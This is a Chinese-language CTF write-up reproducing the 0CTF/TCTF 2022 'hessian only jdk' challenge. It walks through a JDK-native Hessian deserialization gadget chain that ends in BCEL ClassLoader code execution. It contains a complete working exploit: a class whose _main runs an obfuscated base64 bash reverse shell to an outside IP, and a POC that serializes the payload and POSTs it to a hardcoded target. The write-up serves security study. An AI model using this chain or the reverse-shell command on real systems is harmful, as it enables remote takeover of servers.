0ctftctf 2022 hessian only jdk复现并学习

image-20240502145535199

前言

最近在学习hessian反序列化注意到了这一道题目,拿来学习一下。不是Maven项目,打原生JDK。

这题是Apache Dubbo Hessian2 异常处理时反序列化(CVE-2021-43297)可以调用tostring链导致XStream - CVE-2021-21346 (x-stream.github.io)的后续执行

1
2
3
4
5
6
7
8
Rdn$RdnEntry#compareTo->
XString#equal->
MultiUIDefaults#toString->
UIDefaults#get->
UIDefaults#getFromHashTable->
UIDefaults$LazyValue#createValue->
SwingLazyValue#createValue->
InitialContext#doLookup()

但是javax.swing.MultiUIDefaults是package-private类,只能在javax.swing.中使用,而且Hessian2拿到了构造器,但是没有setAccessable,newInstance就没有权限。

BCEL ClassLoader

因此需要找一个MultiUIDeafaults的替代类,这里的UIDeafaults是继承Hashtable的,所以需要从toString到HashTable.get。别人用CodeQL找到了这样一个类(以后学习一下CodeQL吧,感觉挺好用的)。sun.security.pkcs.PKCS9Attributes

来看到这个类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
package sun.security.pkcs;

import java.io.IOException;
import java.io.OutputStream;
import java.util.Hashtable;
import sun.security.util.DerEncoder;
import sun.security.util.DerInputStream;
import sun.security.util.DerOutputStream;
import sun.security.util.DerValue;
import sun.security.util.ObjectIdentifier;

public class PKCS9Attributes {
private final Hashtable<ObjectIdentifier, PKCS9Attribute> attributes;
private final Hashtable<ObjectIdentifier, ObjectIdentifier> permittedAttributes;
private final byte[] derEncoding;
private boolean ignoreUnsupportedAttributes;

//...
public PKCS9Attribute getAttribute(ObjectIdentifier var1) {
return (PKCS9Attribute)this.attributes.get(var1);
}

//...
public String toString() {
StringBuffer var1 = new StringBuffer(200);
var1.append("PKCS9 Attributes: [\n\t");
boolean var4 = true;

for(int var5 = 1; var5 < PKCS9Attribute.PKCS9_OIDS.length; ++var5) {
PKCS9Attribute var3 = this.getAttribute(PKCS9Attribute.PKCS9_OIDS[var5]);
if (var3 != null) {
if (var4) {
var4 = false;
} else {
var1.append(";\n\t");
}

var1.append(var3.toString());
}
}

var1.append("\n\t] (end PKCS9 Attributes)");
return var1.toString();
}
//...
}

toString方法调用了getAttribute方法,而getAttribute方法又调用了attributes的get方法,attributes又是hashtable这样链子就拼上了。

1
2
3
4
5
6
7
PKCS9Attributes.toString
->HashTable.get
->UIDefault.get
->UIDeafult
->getFromHashTable
->createValue
->xxx.invoke

这个sun.swing.SwingLazyValue#createValue方法可以触发任意类的静态和public方法

image-20240502123105491

然后看到com.sun.org.apache.bcel.internal.util.JavaWrapper方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
package com.sun.org.apache.bcel.internal.util;

import java.lang.reflect.*;

/**
* Java interpreter replacement, i.e., wrapper that uses its own ClassLoader
* to modify/generate classes as they're requested. You can take this as a template
* for your own applications.<br>
* Call this wrapper with
* <pre>java com.sun.org.apache.bcel.internal.util.JavaWrapper &lt;real.class.name&gt; [arguments]</pre>
* <p>
* To use your own class loader you can set the "bcel.classloader" system property
* which defaults to "com.sun.org.apache.bcel.internal.util.ClassLoader", e.g., with
* <pre>java com.sun.org.apache.bcel.internal.util.JavaWrapper -Dbcel.classloader=foo.MyLoader &lt;real.class.name&gt; [arguments]</pre>
* </p>
*
* @version $Id: JavaWrapper.java,v 1.3 2007-07-19 04:34:52 ofung Exp $
* @author <A HREF="mailto:markus.dahm@berlin.de">M. Dahm</A>
* @see ClassLoader
*/
public class JavaWrapper {
private java.lang.ClassLoader loader;

private static java.lang.ClassLoader getClassLoader() {
String s = SecuritySupport.getSystemProperty("bcel.classloader");

if((s == null) || "".equals(s))
s = "com.sun.org.apache.bcel.internal.util.ClassLoader";

try {
return (java.lang.ClassLoader)Class.forName(s).newInstance();
} catch(Exception e) {
throw new RuntimeException(e.toString());
}
}

public JavaWrapper(java.lang.ClassLoader loader) {
this.loader = loader;
}

public JavaWrapper() {
this(getClassLoader());
}

/** Runs the _main method of the given class with the arguments passed in argv
*
* @param class_name the fully qualified class name
* @param argv the arguments just as you would pass them directly
*/
public void runMain(String class_name, String[] argv) throws ClassNotFoundException
{
Class cl = loader.loadClass(class_name);
Method method = null;

try {
method = cl.getMethod("_main", new Class[] { argv.getClass() });

/* Method _main is sane ?
*/
int m = method.getModifiers();
Class r = method.getReturnType();

if(!(Modifier.isPublic(m) && Modifier.isStatic(m)) ||
Modifier.isAbstract(m) || (r != Void.TYPE))
throw new NoSuchMethodException();
} catch(NoSuchMethodException no) {
System.out.println("In class " + class_name +
": public static void _main(String[] argv) is not defined");
return;
}

try {
method.invoke(null, new Object[] { argv });
} catch(Exception ex) {
ex.printStackTrace();
}
}

/** Default _main method used as wrapper, expects the fully qualified class name
* of the real class as the first argument.
*/
public static void _main(String[] argv) throws Exception {
/* Expects class name as first argument, other arguments are by-passed.
*/
if(argv.length == 0) {
System.out.println("Missing class name.");
return;
}

String class_name = argv[0];
String[] new_argv = new String[argv.length - 1];
System.arraycopy(argv, 1, new_argv, 0, new_argv.length);

JavaWrapper wrapper = new JavaWrapper();
wrapper.runMain(class_name, new_argv);
}
}

他的_main方法会触发runMain方法,在runMain方法中会加载一个类,并且找到该类中的_main方法通过invoke去执行它,那么我们只需要创建一个恶意类,其中带一个方法名叫_main然后让他加载那么就可以执行命令。

1
2
3
4
5
6
7
8
9
package hessian;

import java.io.IOException;

public class shell {
public static void _main(String[] argv) throws IOException {
Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNTAuMTU4LjMzLjg5LzEyMzQgMD4mIDE=}|{base64,-d}|{bash,-i}");
}
}

在初始化JavaWrapper时会对loader进行赋值,赋值为com.sun.org.apache.bcel.internal.util.ClassLoader

BCEL Classloader在 JDK < 8u251之前是在rt.jar里面。
同时在Tomcat中也会存在相关的依赖
tomcat7

org.apache.tomcat.dbcp.dbcp.BasicDataSource

tomcat8及其以后

org.apache.tomcat.dbcp.dbcp2.BasicDataSource

而在rt.jar!/com/sun/org/apache/bcel/internal/util/包下,有Classloader这么一个类,可以实现加载字节码并初始化一个类的功能,该类也是个Classloader(继承了原生的Classloader类)重写了loadClass()方法

Java安全之BCEL ClassLoader - Zh1z3ven - 博客园 (cnblogs.com)

com.sun.org.apache.bcel.internal.util.ClassLoader类的注释可以得知
替换JVM的标准类装入器。您可以将它与JavaWrapper结合使用,以便在请求时动态地修改/创建类。

这个类装入器以一种独特的格式识别特殊请求,也就是说,当被请求的类的名称包含$$BCEL$$时,它会用该名称调用createClass()方法($$BCEL$$之前的所有内容都被认为是包名)。

首先会判断类名是否以$$BCEL$$开头,之后调用createClass()方法拿到一个JavaClass对象最终通过defineClass()加载字节码还原类。

1
2
JavaClass evil = Repository.lookupClass(shell.class);
String payload = "$$BCEL$$" + Utility.encode(evil.getBytes(), true);

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
import hessian.shell;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import sun.misc.Unsafe;
import sun.security.pkcs.PKCS9Attribute;
import sun.security.pkcs.PKCS9Attributes;
import sun.swing.SwingLazyValue;

import javax.swing.*;
import java.io.*;
import java.lang.reflect.Field;
import java.net.HttpURLConnection;
import java.net.URL;

// 前提条件:CVE-2021-43297,打toString()
public class exp {
static final String targetUrl="http://150.158.33.89:8090/";
public static void main(String[] args) throws Exception {
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null);
PKCS9Attributes s = (PKCS9Attributes) unsafe.allocateInstance(PKCS9Attributes.class);
UIDefaults uiDefaults = new UIDefaults();
JavaClass evil = Repository.lookupClass(shell.class);
String payload = "$$BCEL$$" + Utility.encode(evil.getBytes(), true);
uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, new SwingLazyValue("com.sun.org.apache.bcel.internal.util.JavaWrapper", "_main", new Object[]{new String[]{payload}}));
setFieldValue(s,"attributes",uiDefaults);
byte[] result;
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output oo = new Hessian2Output(baos);
oo.getSerializerFactory().setAllowNonSerializable(true);
oo.writeObject(s);
oo.flush();
result = baos.toByteArray();
// 构造数据包
byte[] wrapper = new byte[result.length+1];
wrapper[0] = 67;
System.arraycopy(result, 0, wrapper, 1, result.length);
post(wrapper);
ByteArrayInputStream bais = new ByteArrayInputStream(wrapper);
Hessian2Input input = new Hessian2Input(bais);
//input.readObject();

}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void post(byte[] b) throws Exception{
URL url=new URL(targetUrl);
HttpURLConnection con = (HttpURLConnection) url.openConnection();
con.setRequestMethod("POST");
con.setDoOutput(true);
try(OutputStream os = con.getOutputStream()) {
os.write(b);
}


BufferedReader in = new BufferedReader(
new InputStreamReader(con.getInputStream()));
String inputLine;
StringBuffer content = new StringBuffer();
while ((inputLine = in.readLine()) != null) {
content.append(inputLine);
}
in.close();

System.out.println(content.toString());
}
}

屏幕截图 2024-05-02 131104

调用堆栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
start:1007, ProcessBuilder (java.lang)
exec:620, Runtime (java.lang)
exec:450, Runtime (java.lang)
exec:347, Runtime (java.lang)
_main:7, $$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$cbN$c2$40$U$3d$D$85B$z$f2$S$7c$bf$X$82$L$bbqa$82qc41$nb$c4$e0$c2$85$Z$ea$a4$M$v$adi$L$e1$b7$dc$a8q$e1$H$f8Q$c6$3b$95$88F$s$99$7b$e6$9e$b9$f7$9e3$99$8f$cf$b7w$A$87$d85$90F$d5$c0$o$962XV$b8$a2cU$c7$gC$faXz2$3aaH$d6$ea$j$G$ed$d4$7f$Q$M$f9$a6$f4$c4$e5p$d0$V$c1$N$ef$ba$c4$94$9a$be$cd$dd$O$P$a4$ca$t$a4$W$f5d$a8$aa$7b$o$M$r$f7$ac$b0$t$5c$b7$c1$90$ba$lp$e91Tkw$cd$3e$lq$cb$e5$9ec$b5$a3$40zN$p$d6$e1$813b$u$cf$b8f0$ce$c6$b6x$8c$a4$ef$85$3a$d6$vo$fb$c3$c0$W$e7Ri$g$b1$c6$81j3$a1$p$a3c$c3$c4$s$b6h$s$Z$b4Mlc$87$n$f7$c7$RCa$w$d3$ea$f6$85$j$91vLI$df$bah$fd$e81$U$a7$85$d7C$_$92$D$r$e9$88$e8$t$a9$d4$ea$cd$7f5dZ$Tca3$ec$d5f$3c$f8$Xu$V$f86Yk$90$cd$U$7d$8aZ$J0$f5$Q$8aY$ca$yBF$98$da$7f$B$7b$8a$af$N$8a$e9o$Ss$U$cd$c9$d9D$8e0$8by$e4$a9J5$l$c5$c3$A$e3$V$89R$f2$Z$da$edt$82A$I$S$ca$92$d4t$8a$81$C$8a$84$r$da$g1e$da$LqO$e5$L$f2$3b3c$3f$C$A$A
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
runMain:131, JavaWrapper (com.sun.org.apache.bcel.internal.util)
_main:153, JavaWrapper (com.sun.org.apache.bcel.internal.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
createValue:73, SwingLazyValue (sun.swing)
getFromHashtable:216, UIDefaults (javax.swing)
get:161, UIDefaults (javax.swing)
getAttribute:265, PKCS9Attributes (sun.security.pkcs)
toString:334, PKCS9Attributes (sun.security.pkcs)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
expect:2880, Hessian2Input (com.caucho.hessian.io)
readString:1398, Hessian2Input (com.caucho.hessian.io)
readObjectDefinition:2180, Hessian2Input (com.caucho.hessian.io)
readObject:2122, Hessian2Input (com.caucho.hessian.io)
main:53, exp

后记

看到还有两种方法JNDI和加载so文件,其实感觉本质都是加载文件进去。这两种没复现成功。

0ctf2022 hessian-only-jdk writeup jdk原生链 - 先知社区 (aliyun.com)

Hessian反序列化 - Zer0peach can’t think

0ctf/tctf 2022 hessian only jdk 复现和学习 - KingBridge - 博客园 (cnblogs.com)

与 CVE-2021-43297 相关的两道题目 (harmless.blue)

Java安全之BCEL ClassLoader - Zh1z3ven - 博客园 (cnblogs.com)

[TCTF2022 Hessian-onlyJdk - Boogiepop Doesn’t Laugh (boogipop.com)](https://boogipop.com/2023/03/29/TCTF2022 _ Hessian-onlyJdk/)